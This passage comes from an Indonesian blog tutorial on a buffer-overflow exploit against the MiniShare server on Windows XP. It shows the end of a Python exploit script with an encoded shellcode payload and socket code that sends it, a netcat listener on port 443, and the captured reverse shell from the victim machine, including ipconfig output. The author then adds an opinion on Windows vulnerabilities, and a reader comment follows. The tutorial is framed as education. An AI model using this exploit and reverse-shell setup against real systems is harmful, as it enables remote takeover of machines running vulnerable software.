“\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13”

“\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95”

“\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0”

“\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0”

“\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf”

“\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f”

“\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52”

“\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb”)

buffer+= ” HTTP/1.1\r\n\r\n”

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Mencoba Exploit

Untuk mencoba exploitnya, yang mana akan menhasilkan sebuah reverse shell ke sistem kita, kita harus men-set listener pada local machine untuk koneksi yang dibuat dari reverse shell. Kita akan menggunakan netcat untuk melakukannya, dan pada linux kita harus menjalankannya sebagai root sehingga kita dapatkan permission untuk binding ke port 443.

root@bt4pf:~# nc -nvvlp 443

listening on [any] 443 …

Sekarang kita restart MiniShare di debugger, dan set breakpoint address sekali lagi pada alamat JMP ESP, dan jalankan exploitnya. Program akan menghentikan eksekusi pada breakpoint, dan jika kita tekan F7 untuk forward, kita akan dapatkan shellcode. Mengikuti ESP pada memori dump, kita dapat melakukan inspeksi secara cepat pada isi memori untuk memastikan shellcode yang dibuat telah dikirim. Lalu biarkan program berjalan dengan menekankan F9 atau tombol play

Lalu kembali ke listener, dan walaa.. sebuah shell kita dapatkan

root@bt4pf:~# nc -nvvlp 443

listening on [any] 443 …

connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1101

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : lan

IP Address. . . . . . . . . . . . : 192.168.10.27

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.10.1

C:\Program Files\MiniShare>

Kita dapat mencobanya lagi dengan MiniShare server yang dijalankan diluar dari debugger dan shell kembali kita dapatkan.

root@giraffe:~# nc -nvvlp 443

listening on [any] 443 …

connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1102

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>

Thats it, exploit telah berhasil dilancarkan ^____^ !

 

Opini Saya :

“Ini adalah salah satu cara yang sangat menakutkan bagi masyarakat awam. Penggunaan aplikasi sangat rentan terhadap serangan khususnya aplikasi yang running diatas Windows. Sudah menjadi rahasia umum windows menjadi salah satu target serangan teraktif dibandingkan OS lainnya. Dari kernel windowsnya sampai aplikasi yang berjalan diatasnya tidak luput dari intaian para peretas dan ahli keamanan. Sebuah celah pada aplikasi yang sering anda gunakan seperti Office, Adobe Reader atau bahkan Firefox dapat saja menjadi pintu masuk bagi para peretas. Itulah alasan kenapa buffer overflow menjadi sangat berbahaya, karena serangan ini menyerang service yang biasanya menjadi public bagi yang lain, contoh FTP. Program MiniShare itu adalah contoh dari segelintir program yang memberikan service FTP. Mendapatkan sebuah shell bagi peretas dapat menjadi mimpi buruk bagi para pengguna windows dan lebih parahnya lagi itu didapatkan dari celah pada suatu aplikasi. Perusahaan Microsoft sendiri sudah pernah mengalami serangan terhadap data centernya dan itu berawal dari celah keamaanan pada browser bawaan windows, Internet Explorer. Semoga dengan diberikan cara pembuatan buffer overflow ini, kita dapat menjadi lebih mengerti bagaimana mekanisme serangan itu terjadi.”

3 thoughts on “Buffer Overflow – Network Security

  1. nice posting gan . . . 😀
    dengan ini saya jadi lebih memahami cara buat buffer overflow..
    btw anda tahu tidak cara bekerja buffer overflow yang disebabkan oleh worm sasser?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s